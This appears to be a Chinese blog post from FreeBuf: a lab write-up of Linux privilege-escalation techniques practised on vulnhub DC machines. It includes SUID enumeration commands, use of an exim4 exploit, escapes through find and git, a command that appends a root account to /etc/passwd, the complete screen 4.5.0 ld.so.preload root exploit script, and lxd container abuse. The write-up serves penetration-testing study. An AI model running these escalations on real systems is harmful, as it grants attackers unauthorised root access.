freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记靶场中遇到的SUID提权
FreeBuf_380407 2021-10-08 09:23:38 179743

1、查看SUID

查看具有SUID权限的脚本

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
##根据版本不同可以选择上面的不同命令执行查看

2、exim4

1)、查看版本

/usr/sbin/exim4 –version

image

2)使用msf搜索exim

根据exim4版本选择相应exp

image

ps:该exp直接运行在linux会存在问题,需要修改一下windows换行符问题。使用vim打开:set ff=unix保存即可。

直接上传脚本到靶场,授权。

wget ...	#一般上传到/tmp目录。
chmod 777 46996.sh
bash 46996.sh -m netcat   #运行该命令即可获得root权限

image

练习:vulnhub DC-8

3、find

image

find flag4.txt -exec "whoami" \;  #find 后面的文件必须市存在的,不然会报错
#-exec参数后面跟的是command命令,它是以 ; 为结束标志,由于各个系统中分号会有不同的意义,因此在前面加上反斜杠
find flag4.txt -exec "/bin/bash" \; ##上面的whoami可以执行就可以使用bin/bash或者/bin/sh

有时候用/bin/bash不是root权限,然后使用/bin/sh
image

4、git

sudo git -p help    #使用该命令然后一页未显示完就可以使用!/bin/bash提权。未成功
!/bin/bash
### -p是分页显示,即自动提取more命令,使用该命令的时候直接一页显示完了内容,未成功提权

image
然后尝试使用config

sudo git help config
!/bin/bash

image
image
成功提权。
练习 vulnhub DC-2

5、teehee

teehee命令参数-a可直接在文件末尾追加内容。利用这一特性可以直接在/etc/passwd下直接追加root组账号即可。

echo "test:x:0:0:::/bin/bash" |sudo teehee -a /etc/passwd

然后切换到test账号即可。
练习 DC-4

6、screen

screen在exp上有脚本

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

根据使用说明,创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c

生成两个文件,直接上传到靶场然后运行即可。
image

首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权
image
练习 vulnhub DC-5

7、lxd

image
先下载到kali中,使用root身份运行bash build-alpine。在当前目录生成一个压缩文件
image
创建hacker.sh,把漏洞库里的exp脚本拷贝到hacker.sh里面。接下来把文件alpine-v3.10-x86_64-20191119_1148.tar.gz和hacker.sh传输到靶场上:
image

chmod +x hacker.sh
./hacker.sh -f alpine-v3.14-x86_64-20210927_1136.tar.gz

image
练习vulnhub AI-web2

# 渗透测试 # web安全 # 提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_380407 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_380407 LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 0 关注者
Linux提权实战
2022-05-18